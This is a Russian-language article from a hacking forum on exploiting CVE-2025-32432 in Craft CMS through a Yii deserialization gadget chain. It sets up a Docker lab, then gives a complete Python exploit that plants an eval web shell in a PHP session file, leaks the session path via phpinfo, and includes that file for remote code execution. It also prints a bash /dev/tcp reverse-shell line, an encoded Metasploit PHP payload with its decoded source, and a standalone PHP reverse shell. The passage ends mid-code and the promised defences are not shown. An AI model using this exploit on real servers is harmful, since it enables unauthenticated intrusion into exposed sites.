• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атака на Craft CMS: реализация цепочки гаджетов Yii. CVE-2025-32432

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Автор petrinh1988
Источник https://xss.pro

Всем привет!

Сегодня больше будем говорить про CVE-2025-32432, CVE-2025-35939 затронем вскользь из-за схожего механизма. Обе уязвимости интересны, но если для реализации одной нужны минимальные условия, то для реализации второй нужно чтобы владелец веб-приложения немного постарался.

CVE-2025-32432 это критическая уязвимость в Craft CMS, которая дает возможность неаутентифицированного удаленного выполнения кода, в результате небезопасной десериализации. Уязвимость уже появлялась на форуме в Багтреке. На мой взгляд, она достаточно хороша для подробного рассмотрения.

Craft CMS, хоть и не на слуху, по крайней мере у меня, все же она достаточно популярна. По оценкам в интернет, уязвимости подвержено более 8000 серверов и более 37000 уникальных доменных имен. Цифры интересные, есть в чем покопаться.

По своей сути, эта уязвимость, ничто иное, как развитие (реализация) уязвимостей CVE-2024-4990, 2024-58136 о которых писал в прошлой статье. Разработчики Craft CMS допустили ошибку и в одном из компонентов отсутствуют проверки пользовательских данных. Кроме того, на практике увидим, как строиться и работает цепочка гаджетов. Напомню, что в прошлой статье все уперлось в невозможность выполнить команду с параметрами. В этой статье, мы получим полноценный RCE и организуем Revers Shell. Причем, это будет очень красиво и элегантно.

Наглядно посмотрим, что происходит при атаке. Отследим все этапы и трансформации, которые проходит пейлоад. Напишем свой эксплоит. Расскажу о том, как я зря потратил кучу времени и как исправил ситуацию. На мой взгляд ценно делиться ошибками и тм, как с ними справился. В нашем деле это особенно важно. Ну и, конечно, разберем методы защиты уязвимых версий Craft CMS. В данном случае, любой владелец веб-приложения мог легко защитить его.

Лаборатория для тестов​

Для начала нужно скачать Craft CMS 4.13.1 с github. Вариант с генерацией и установкой через композер нам не подойдет, так как он наотрез отказывается опираться на нужную версию. Сколько не мучался с ним, всегда устанавливает последнюю версию CMS со всеми патчами.

Создадим docker-compose.yml

YAML:
version: '3.8'


services:
  web:
    build: .
    ports:
      - "8080:80"
    volumes:
      - ./craft:/var/www/html
      - ./php.ini:/usr/local/etc/php/conf.d/custom-php.ini
      - craft_storage:/var/www/html/storage
      - craft_cache:/var/www/html/cache
    restart: unless-stopped
    depends_on:
      db:
        condition: service_healthy
    extra_hosts:
      - "kali.local:192.168.0.24"
    environment:
      - DB_DRIVER=mysql
      - DB_SERVER=db
      - DB_PORT=3306
      - DB_DATABASE=craft
      - DB_USER=craft
      - DB_PASSWORD=craftpassword
    command: >
      sh -c "chown -R www-data:www-data /var/www/html/storage /var/www/html/cache && apache2-foreground"


  db:
    image: mysql:8.0
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: craft
      MYSQL_USER: craft
      MYSQL_PASSWORD: craftpassword
    healthcheck:
      test: ["CMD-SHELL", "mysqladmin ping -uroot -p$$MYSQL_ROOT_PASSWORD"]
      interval: 5s
      timeout: 3s
      retries: 10


volumes:
  craft_storage:
  craft_cache:

Нам потребуется установка большого количества библиотек, поэтому соберем Dockerfile

Код:
FROM php:8.2-apache

RUN apt-get update && apt-get install -y \
    libicu-dev \
    libonig-dev \
    libzip-dev \
    libjpeg-dev \
    libpng-dev \
    libwebp-dev \
    libfreetype6-dev \
    unzip \
    curl \
    git \
 && docker-php-ext-configure gd \
     --with-jpeg \
     --with-freetype \
     --with-webp \
 && docker-php-ext-install gd intl pdo pdo_mysql bcmath zip mbstring \
 && a2enmod rewrite \
 && echo "ServerName localhost" >> /etc/apache2/apache2.conf \
 && rm -rf /var/lib/apt/lists/*

RUN mkdir -p /var/www/html
RUN chown -R www-data:www-data /var/www

RUN curl -sS https://getcomposer.org/installer | php -- \
    --install-dir=/usr/local/bin --filename=composer \
 && chmod +x /usr/local/bin/composer


RUN mkdir -p /var/lib/php/sessions && \
    chmod 1733 /var/lib/php/sessions


WORKDIR /var/www/html
EXPOSE 80

В папке craft_env лежит .env файл, его надо скопировать в папку ./craft/ - это переменные для Craft CMS чтобы вручную не вводить данные. Там и без этого нужно будет много раз отвечать мастеру установи:

Код:
PRIMARY_SITE_URL=http://localhost:8080/
CRAFT_APP_ID=

CRAFT_ENVIRONMENT=dev

CRAFT_SECURITY_KEY=

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=db
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craft
CRAFT_DB_USER=craft
CRAFT_DB_PASSWORD=craftpassword
CRAFT_DB_SCHEMA=public
CRAFT_DB_TABLE_PREFIX=


DEV_MODE=true
ALLOW_ADMIN_CHANGES=true
DISALLOW_ROBOTS=true

Нам потребуется php.ini. Главное, это session.save_path. Данная настройка потребуется для получения удаленного выполнения кода в нашей финальной атаке.

INI:
upload_max_filesize=40M
post_max_size=40M
memory_limit=512M
max_execution_time=300
register_argc_argv = On
session.save_path = "/var/lib/php/sessions"

Теперь подключимся к нашему контейнеру. Возможно, потребуется назначить права на хранилище:

Bash:
chown -R www-data:www-data storage
chmod -R 775 storage

Устанавливаем необходимые зависимости через композер (на случай, если что-то пошло не так):

Bash:
composer install

1751004660968.png


Запускаем мастер установки. Основные настройки должны быть получены из файла .env, но все равно придется много раз отвечать "yes". Установщику нужны привилегированные права, но он один черт будет постоянно говорить нам, что это плохая идея. Видимо, автору намекают, что лгко не будет. Слегка муторная история, но от нее никуда не деться:

Bash:
php craft install

1751004679570.png


Данные пользователя и сайта вбивайте любые, главное пароль админа не забудьте.

В результате сусефул установки, должны увидеть что-то в таком духе:

1751004691212.png


После этого, наша Craft CMS будет доступна на localhost:8080/web. Именно /web, так как установщик туда запихнет приложение. В корне сайта будет 403 Forbidden.

1751004702183.png


Зайдите в админку и убедитесь, что стоит именно нужная нам версия 4.13.1. Версия написана внизу, вверху характерная надпись с требованием обновиться. Если что-то не так, снесите все и установите заново.

1751004724408.png


В интернет, натыкался на сообщения о том, что нужно настроить CMS для успешной атаки. Добавить файловую систему, секцию, поле и т.п. Чтобы потом в assets загрузить изображение. Вроде как для атаки важно наличие валидного идентификатора картинки. Но тесты показали, что это полная ерунда и лишняя трата времени. Я использовал самые разнообразные идентификаторы на свежеустановленной системе и получал результат. Атаку можно провести и без подобных изысков.

Все готово к анализу и тестированию уязвимости.

CVE-2025-32432​

Уязвимость охватывает сразу множество версий в разных ветках CMS: от 3.0.0‑RC1 до 3.9.14; 4.0.0‑RC1 до 4.14.14 и от 5.0.0‑RC1 до включительно 5.6.16. Честно сказать, не очень понимаю, как это у них устроено. Видимо, происходит какое-то синхронное развитие разных версий.

Чтобы подтвердить уязвимость на нашем тестовом сервере, нужно выполнить POST-запрос по адресу:
Bash:
http://localhost:8080/web/index.php?p=admin/actions/assets/generate-transform

При этом, пэйлоад используем почти идентичный тому, которым атаковали CVE-2024-4990. Во вредоносной части, отличается только указание на Behavior-класс FieldLayoutBehavior. Это нужно чтобы привязаться к механизму behavior

JSON:
{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

Для удобства, можно взять готовый скрипт чекера. Запускаем такой командой:

Python:
python3 craftcms_rce.py -u localhost:8080/web

1751004770154.png


Отлично, наша тестовая система уязвима. Давайте разбирать, что там происходит под капотом.

generate-transform - это ендпоинт для динамической генерации измененных изображений. Например, создание превью. С точки зрения части приложения, это функция actionGenerateTransform контроллера AssetsController. С точки зрения уязвимости, функция с ненадлежащей проверкой входных данных. Уязвимый исходный код:

PHP:
// File path: vendor/craftcms/cms/src/controllers/AssetsController.php

$assetId = $this->request->getRequiredBodyParam('assetId');
$handle = $this->request->getRequiredBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle);
$transformer = $transform?->getImageTransformer();

handle, по хорошему, это название трансформации (например, preview). И проблема в том, что уязвимая версия CMS не проверяет, является ли это свойство строкой. За счет чего, атакующий вламывается в цепочку гаджетов движка, используя механизм behaviors фреймворка Yii. Хакер заставляет приложение создать FnStream из библиотеки GuzzleHttp, привязав к магическому методу __destruct() коллбэк в виде phpinfo. Немного запутанно, но сейчас разберем по частям.

Craft CMS базируется на Yii, а behaviors (поведния) часть фреймворка, которая позволяет классу буквально говорить “делай это как другой класс”. Что-то вроде наследования в ООП, но расширенного. Поэтому в пэйлоаде и используется “as <имя>”. Только ориентироваться фреймворк будет не на “<имя>”, а на класс из свойства __class.

В Yii каждый компонент может подключить behavior, который может добавлять новые методы и свойства, а также перехватывать выполнение __get, __set, __call. Для примера, создадим класс с отсутствующим методом updateAt

PHP:
class MyComponent extends yii\base\Component {
    public function behaviors() {
        return [
            'timestamp' => [
                'class' => 'yii\behaviors\TimestampBehavior',
            ],
        ];
    }
}

Теперь вызовем метод $obj->updatedAt. Компонент увидит, что этого свойства нет в его классе. В классическом ООП, была бы выполнена попытка вызывать этот метод у родительского класса (Component). Но в Yii, __get пойдет дальше и проверит behaviors, которые указаны как “пример для подражания”. В итоге, TimestampBehavior передаст выполнение функции другому классу.

1751004807130.png


Если поковыряться в контроллере AssetsController, мы увидим, что в нем отсутствует метод __toString(), Если в чистом PHP преобразование строки происходит при помощи метода toString(), в Yii все будет как описано выше. Компонент, получив объект или массив вместо строки, попытается получить ожидаемое значение через behavior. Если функция снова вернет объект или массив, продолжится цепочка обращений. Если в цепочку попадает класс, который может вызвать call_user_func, тогда злоумышленник может подменить функцию. Именно это и происходит.

Здесь важно объяснить отличие атаки на CVE-2024-4990 и текущей. Если в той атаке мы использовали псевдо-компонент, который просто создавал объекты и таким образом добирались до подмены. Здесь мы используем то, что функция ждет строку, а получает объект. При этом, контроллер не подразумевает самостоятельного преобразования.

Открытым остается вопрос, как нам развить атаку. Мы снова можем только получить информацию из phpinfo, Здесь начинается самое интересное. Для продолжения атаки, нам потребуется совместить CVE-2025-32432, CVE-2024-58136 и некоторые уязвимые контроллеры Craft CMS.

Получаем полноценный RCE​


Помните мы устанавливали путь к папке хранения сессий в php.ini? Это тот самый момент, когда нам пригодится настройка. Если сессии хранятся не в файлах, уязвимость не сработает. Но, хорошая новость в том, что скорее всего работает, так как большая часть PHP-приложений хранит данные сессии в файлах.

Будем заражать сессию. Если не ошибаюсь, тип атаки называется Session Poisoning или же Session File Injection. В сессию помещается вредоносный код, который при последующих запросах активируется сам или же является частью более длинной цепочки. В нашем случае, триггером выступит уязвимый компонент, который подгрузит код в основное приложение.

Напишем небольшой скрипт на Python, чтобы было удобнее разбираться. В скрипте нужно реализовать такой алгоритм:

1751004824064.png


За всю атаку, нам несколько раз нужно будет получить CSRF. Он потребуется, как для выполнения phpinfo, так и для финальной атаки на RBAC\PhpManager. Разумно выделить код в отдельную функцию.

Python:
import socket
import random
import json
import string
import re
import base64
from urllib.parse import urlparse
from bs4 import BeautifulSoup

def send_raw_http_get_request(host, port, path, extra_cookies=None):
    sock = socket.create_connection((host, port))

    cookie_header = ''
    if extra_cookies:
        cookie_str = "; ".join(f"{k}={v}" for k, v in extra_cookies.items())
        cookie_header = f"Cookie: {cookie_str}\r\n"

    request = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"{cookie_header}"
        f"Connection: close\r\n\r\n"
    )

    sock.sendall(request.encode())

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    sock.close()

    header, body = response.split(b'\r\n\r\n', 1)
    headers = header.decode(errors="ignore").split('\r\n')
    status_code = int(headers[0].split()[1])

    cookies = {}
    for line in headers[1:]:
        if line.lower().startswith("set-cookie:"):
            cookie_part = line.split(":", 1)[1].strip().split(";")[0]
            if "=" in cookie_part:
                key, value = cookie_part.split("=", 1)
                cookies[key] = value

    location = None
    for line in headers[1:]:
        if line.lower().startswith("location:"):
            location = line.split(":", 1)[1].strip()

    return status_code, location, cookies, body.decode(errors="ignore")

def fetch_csrf_and_cookies(host, port, path, extra_cookies=None):
    status, location, response_cookies, body = send_raw_http_get_request(host, port, path, extra_cookies=cookies)
    cookies.update(response_cookies)
    print(f"(+) Found CraftSessionId: {cookies.get('CraftSessionId')}")

    if status == 302 and location:
        print(f"--> Follow 302 redirect: {location}")
        parsed_location = urlparse(location)
        path = parsed_location.path + ("?" + parsed_location.query if parsed_location.query else "")

        status, _, response_cookies, body = send_raw_http_get_request(
            host, port, path, extra_cookies=cookies
        )
        cookies.update(response_cookies)

        soup = BeautifulSoup(body, 'html.parser')
        token_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
        token_value = None
        if token_input:
            token_value = token_input['value']
            print("CRAFT_CSRF_TOKEN found:", token_input['value'])
        else:
            print("CRAFT_CSRF_TOKEN Not Found")
      
    return status, location, cookies, token_value

param_name = ‘testparam’
host = 'localhost'
port = 8080
path = f"/web/index.php?p=admin/dashboard&{param_name}=<?=eval($_GET[\'{param_name}\']);die()?>"
status, location, cookies = None, None, {}
status, location, response_cookies, token_value = fetch_csrf_and_cookies(host, port, path, extra_cookies=cookies)

Чтобы сработал механизм заражения сессии, нам нужно доставить код веб-шелла в момент создания файла сессии. Доставка происходит через параметр запроса. Это стандартное поведение PHP, сохранять параметры. Логично поместить этот код в функцию запросов. Но есть нюанс. Тот же requests, кодирует символы в URL. Здесь, как говориться “либо лыжи не едут…”. Сколько бы не боролся, вс равно часть спецсимволов улетает в %. Это приводит к тому, что код становится “беззубым”. Мы, вроде бы, сохранили его в сессию, а смысла нет. PHP просто не поймет все эти проценты и проигнорирует нашу инъекцию. Поэтому, этот запрос выполняется через socket. Код более громоздкий, зато работает.

В отличии от requests, работа с сырыми запросами не подразумевает автоматический форвардинг. Поэтому нам нужно проверить код ответа на 302, а именно его выкинет Craft CMS. Нужно проследовать на новую локацию и уже там грабить CSRF-токен.

Если запустить код сейчас, вывод будет таким:

1751004852854.png


Отлично. Мы получили идентификатор сессии и токен для выполнения атаки. Проверим содержимое сессии в контейнере, чтобы быть уверенными что заразили её:

Код с оформлением (BB-коды):
04572dbeb33ea86667eda1b65c0ffd29__flash|a:0:{}a0bcfe188b0585ae30b84ca5c69034d8__returnUrl|s:94:"http://localhost/web/index.php?p=admin/dashboard&testparam=<?=eval($_GET['testparam']);die()?>";

Запросы через сокеты работают не хуже сифилиса - инфицирование 100% гарантировано.
В файле лежит сериализованный объем. Есть наш шелл, все прошло успешно.

Следующим этапом, нужно получить путь к папке сессий. Сделать это мы можем, выполнив тот самый запрос из чекера уязвимости, подложив полученный токен CSRF. Куки использую полученные при первом запросе:

Python:
json_data = {
    "assetId": 1,
    "handle": {
        "width": random.randint(1, 999),
        "height": random.randint(1, 999),
        "as exploit": {
            "class": "craft\\behaviors\\FieldLayoutBehavior",
            "__class": "GuzzleHttp\\Psr7\\FnStream",
            "__construct()": [[]],
            "_fn_close": "phpinfo"
        }
    }
}

post_path = "/web/index.php?p=admin/actions/assets/generate-transform"

json_body = json.dumps(json_data)

cookie_str = "; ".join(f"{k}={v}" for k, v in response_cookies.items())

headers = (
    f"POST {post_path} HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Connection: close\r\n"
    f"Content-Type: application/json\r\n"
    f"Content-Length: {len(json_body)}\r\n"
    f"X-CSRF-Token: {token_value}\r\n"
    f"Cookie: {cookie_str}\r\n\r\n"
)

request = headers + json_body

sock = socket.create_connection((host, port))
sock.sendall(request.encode())
response = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    response += chunk
sock.close()

try:
    _, body3 = response.split(b'\r\n\r\n', 1)
    html = body3.decode(errors="ignore")
except Exception as e:
    print("(!) Error with parse response from GuzzleHttp\\Psr7\\FnStream:", e)
    exit()

match = re.search(
    r'<td[^>]*class="e"[^>]*>\s*session\.save_path\s*</td>\s*<td[^>]*class="v"[^>]*>\s*([^<]+)\s*</td>',
    html,
    re.IGNORECASE
)

if not match:
    match = re.search(
        r'<h2[^>]*>\s*Session Save Path\s*</h2>\s*<p[^>]*>\s*([^<]+)\s*</p>',
        html,
        re.IGNORECASE
    )

session_path = None
session_id = response_cookies.get('CraftSessionId')

if match:
    session_path = match.group(1).strip()
    print(f"(+) Leaked session.save_path: {session_path}")
    print(f"(+) Full session file path: {session_path}/sess_{session_id}")
else:
    print("(-) Could not find session.save_path in the response HTML.")

убедимся, что все ок и у нас есть полный путь к файлу сессии:

1751005072472.png


Мы почти готовы к атаке. Повторно выполняем GET-запрос с заражением сессии. Если этого не сделать, у нас не будет свежего CSRF и сервер пошлет нас куда-нибудь в сторону 400.

1751005081396.png


Финальная часть кода буквально выстрадана. На это ярко намекают клочки волос лежащие на моем столе.

Началось все с того, что хост-машина на Windows. В VirtualBox установлена Kali Linux. Уязвимое приложение крутится в докере. Во всей этой катавасии, докер отказывался видеть Кали. Ладно, с этим разобрались, прибив все файерволы и брендмауэры, да слегка переналадив docker-compose. В статье везде финальная версия конфига, поэтому должно работать везде.

Так как у нас докер-контейнер в самом урезанном виде, в нем почти ничего нет для организации реверс шелла. Решил, что отлично подойдет вариант через bash:

Bash:
bash -i >& /dev/tcp/192.168.0.24/4444 0>&1

Подключился к докер-контейнеру через docker exec -it <name> bash. Все заработало:

1751005109761.png


Написал код, запустил… пейлоад успешно доставлен, а сессии нет. Спустя кучу попыток и тонну времени, пришел к выводу, что проблема в символе &.Верне в этом меня убедил ИИ. А моежт и не в нем. Покопавшись в нете, обновил Метасплоит и получил готовый эксплойт под уязвимость. В результате код изменился до неузнаваемости, в статье последний рабочий вариант. Запустил tcpdump и выловил последний POST-запрос.

Код:
POST /web/index.php?p=actions/assets/generate-transform&lCC646M2=eval%28base64_decode%28%27Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE5Mi4xNjguMC4yNCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygiTmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7%27%29%29%3b HTTP/1.1
Host: 192.168.0.2:8080
User-Agent: Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Cookie: CRAFT_CSRF_TOKEN=56f0023403e2e59facd917a274b78912b24e6b5883568b69b0beaa4d4313b048a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22Fg01cQI7bJUMD3Jml969tfeeKCQ2eaEj0xmAntmq%22%3B%7D
X-CSRF-Token: jgiNMjMJtJBZ8VkwnbmP8Xy4Scq1GI7PdE5vQFZaEPIDQE3lR2l-CchvvQNQWP2nO7sMfdmKxZwQgX_zwX7rqj8NPnIzO1WYMzggpCkdE3g=
Content-Type: application/json
Content-Length: 244

{"assetId":897,"handle":{"width":"118","height":"84813","as onKJ":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_6cfc0c65b55c330b54cbacd354e01120"}]}}}

Декодированный вариант выглядит так:

PHP:
<?php
error_reporting(0);
$ip = '192.168.0.24';
$port = 4444;
if (($f = 'stream_socket_client') && is_callable($f)) {
    $s = $f("tcp://{$ip}:{$port}");
    $s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
    $s = $f($ip, $port);
    $s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
    $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
    $res = @socket_connect($s, $ip, $port);
    if (!$res) { die(); }
    $s_type = 'socket';
}
if (!$s_type) { die('no socket funcs'); }
if (!$s) { die('no socket'); }
switch ($s_type) {
    case 'stream':
        $len = fread($s, 4);
        break;
    case 'socket':
        $len = socket_read($s, 4);
        break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
    switch ($s_type) {
        case 'stream':
            $b .= fread($s, $len-strlen($b));
            break;
        case 'socket':
            $b .= socket_read($s, $len-strlen($b));
            break;
    }
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
    $suhosin_bypass=create_function('', $b);
    $suhosin_bypass();
} else {
    eval($b);
}
die();

Я настолько зациклился на том, что вариант с bash работает при запуске руками, что просто напрочь игнорировал другие варианты. В итоге потратил сутки на чтение форумов и общние с ИИ. Последнее было максимальной ошибкой. Иногда он может выиграть на самом мощном конкурсе тупости. Особенно, когда пихаешь в него полотно кода, входные и выходные данные, свои размышления и просишь помочь разобраться…

В итоге, взял нагрузку и тупо вставил в свой код, запустил и… ура. Сессия создалась. Но, было бы слишком легко, если бы все запустилось сразу. Коннект создается, но отваливается при попытке ввести хоть какую-то команду. В результате, я испробовал все возможные варианты создания реверс-шелла. Абсолютно все, что находил. Bash, sh, mkfifo, все варианты php-кода.

Ненавижу такие тупики в кодинге. Твой код не работает, код рядом работает. Когда тестировал без скриптов, только CURL, все тоже получалось. Оказалось, что проблема совершенно не в типе шелла. Многие варианты прекрасно работают. Вся фишка в названии параметра. У меня везде параметр назывался “testparam”. Заработало, когда название параметра начал генерировать.

PHP:
def random_param_name():
    length = random.randint(5, 8)
    chars = string.ascii_letters + string.digits
    return ''.join(random.choice(chars) for _ in range(length))

param_name = random_param_name()
host = 'localhost'
port = 8080
path = f"/web/index.php?p=admin/dashboard&{param_name}=<?=eval($_GET[\'{param_name}\']);die()?>"

В чем проблема, как это работает, я не особо понял. Можно было бы подумать, что происходит какое-то кэширование… но нет. Попытка создать сессию же была. Просто отваливалась. Такое ощущение, что возникала конкуренция за порт у нескольких одинаковых потоков, в результате чего порт тупо забивался. Других объяснений у меня для вас нет. Если кто знает, напишите чего упускаю. Может позже разберусь.

Итоговый код последнего блока:

Python:
session_path = None
session_id = response_cookies.get('CraftSessionId')

if match:
    session_path = match.group(1).strip()
    print(f"(+) Leaked session.save_path: {session_path}")
    print(f"(+) Full session file path: {session_path}/sess_{session_id}")
else:
    print("(-) Could not find session.save_path in the response HTML.")


param_name = random_param_name()
path = f"/web/index.php?p=admin/dashboard&{param_name}=<?=eval($_GET[\'{param_name}\']);die()?>"
status, location, response_cookies, token_value = fetch_csrf_and_cookies(host, port, path, extra_cookies=response_cookies)

with open('./payload.php', 'r') as f:
   php_code = f.read()

php_code_b64 = base64.b64encode(php_code.encode('utf-8')).decode('utf-8')
payload = f"eval%28base64_decode%28%27{php_code_b64}%27%29%29%3b"

print(f"(+) Payload is: {payload}")

json_data = {
    "assetId": 11,
    "handle": {
        "width": random.randint(1, 999),
        "height": random.randint(1, 999),
        "as hack": {
            "class": "craft\\behaviors\\FieldLayoutBehavior",
            "__class": "yii\\rbac\\PhpManager",
            "__construct()": [
                {
                    "itemFile": f"{session_path}/sess_{session_id}"
                }
            ]
        }
    }
}

exploit_path = f"/web/index.php?p=actions/assets/generate-transform&{param_name}={payload}"

cookie_str = "; ".join(f"{k}={v}" for k, v in response_cookies.items())
json_body = json.dumps(json_data)

headers = (
    f"POST {exploit_path} HTTP/1.1\r\n"
    f"Host: {host}\r\n"
    f"Connection: close\r\n"
    f"Content-Type: application/json\r\n"
    f"Content-Length: {len(json_body)}\r\n"
    f"X-CSRF-Token: {token_value}\r\n"
    f"Cookie: {cookie_str}\r\n\r\n"
)

request = headers + json_body

print("(+) Start sending payload")
try:
    sock = socket.create_connection((host, port))
    sock.sendall(request.encode())

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    sock.close()

    header_part = response.split(b'\r\n\r\n', 1)[0].decode(errors="ignore")
    status_line = header_part.splitlines()[0]
    status_code = int(status_line.split()[1])
    if status_code == 200:
        print("[+] Payload sent successfully!")
    else:
        print(f"[-] Server responded with HTTP status {status_code}")
except Exception as e:
    print(f"[-] Error sending payload: {e}")

Код реверс-шелла, который дает стабильный коннект:

PHP:
error_reporting(0);
set_time_limit(0);

$ip = '192.168.0.24';
$port = 4444;

$sock = fsockopen($ip, $port);
if (!$sock) exit(1);

$descriptorspec = [
    0 => ['pipe', 'r'],
    1 => ['pipe', 'w'],
    2 => ['pipe', 'w']
];

$process = proc_open('/usr/bin/script -q -c "/bin/sh" /dev/null', $descriptorspec, $pipes);

if (!is_resource($process)) {
    fclose($sock);
    exit(1);
}

stream_set_blocking($pipes[0], false);
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[2], false);
stream_set_blocking($sock, false);

while (true) {
    $input = fread($sock, 2048);
    if ($input === false || $input === '') {
        usleep(100000);
    } else {
        fwrite($pipes[0], $input);
    }

    $output = fread($pipes[1], 2048);
    if ($output !== false && strlen($output) > 0) {
        fwrite($sock, $output);
    }

    $error = fread($pipes[2], 2048);
    if ($error !== false && strlen($error) > 0) {
        fwrite($sock, $error);
    }

    $status = proc_get_status($process);
    if (!$status['running']) break;
}

fclose($sock);
foreach ($pipes as $pipe) fclose($pipe);
proc_close($process);

Этот код создает стабильный коннект. Осталось положить его рядом с нашим скриптом, добавить подгрузку и кодирование в base64. Я не заморачивался с макросами для подмены IP и порта удаленного сервера, если нужно, легко поправите под свои задачи.

1751005215332.png

Как работает гаджет в yii\rbac\PhpManager?​

PhpManager это компонент Yii, который отвечает за авторизацию. Его особенность в том, что он хранит информацию в файлах в виде php-скриптов. Подробнее здесь. Загружает информацию из трех файлов, которые хранятся в свойствах $itemFile, $scadementFile и $ruleFile. Выглядит это так:
PHP:
protected function loadFromFile($file)
    {
        if (is_file($file)) {
            return require $file;
        }

        return [];
    }

Т.е., разработчики не подумали о том, что свойства могут быть подменены, так как по факту, они задаются жестко в самом классе:

PHP:
class PhpManager extends BaseManager
{
    public $itemFile = '@app/rbac/items.php';
    public $assignmentFile = '@app/rbac/assignments.php';
    public $ruleFile = '@app/rbac/rules.php';}

Чтобы понять, как происходит подмена, нужно вспомнить про CVE-2024-58136. Напомню, это проблема с десериализацией, а именно с магическим методом __set() в Yii:createObject(). Подробнее читайте в этой статье.

Когда мы отправляем запрос, Yii запускает механизм подмешивания поведения компонентов и создает объект RBAC\PhpManager, при этом устанавливая свойство itemFile в значение полного пути к файлу сессии. В файле сессии уже лежит наш вредоносный код в виде веб-шелла, который ждет команды. Файл подгружается через require в loadFromFile. Изначально содержимое файла определяется, как текст и игнорируется. За исключением той части, которая обернута в теги php:

PHP:
<?=eval($_GET[\'testparam\']);die()?>

Это пэйлоад, который мы отправляли в каждом GET-запросе. Подгрузившись, он ищет “'testparam” среди параметров запроса. Находит его, так как в нем мы передаем вторую часть нагрузки. Внутренним eval декодирует из base64, внешним eval выполняет подключение к удаленному серверу.

Почему мы используем именно itemFile? Все просто, это наиболее короткий вектор атаки - itemFile подгружается первым из всех трех файлов, которые определены в PhpManager. Загрузка других сопряжена с риском, что что-то пойдет не так. А тут, подгрузился, код выполнился, реверс шелл получили, а дальше хоть трава не расти. Вот код функции подгружающей файлы:

PHP:
public function init()
    {
        parent::init();$this->load();
    }

    protected function load()
    {
        $this->children = [];
        $this->rules = [];
        $this->assignments = [];
        $this->items = [];

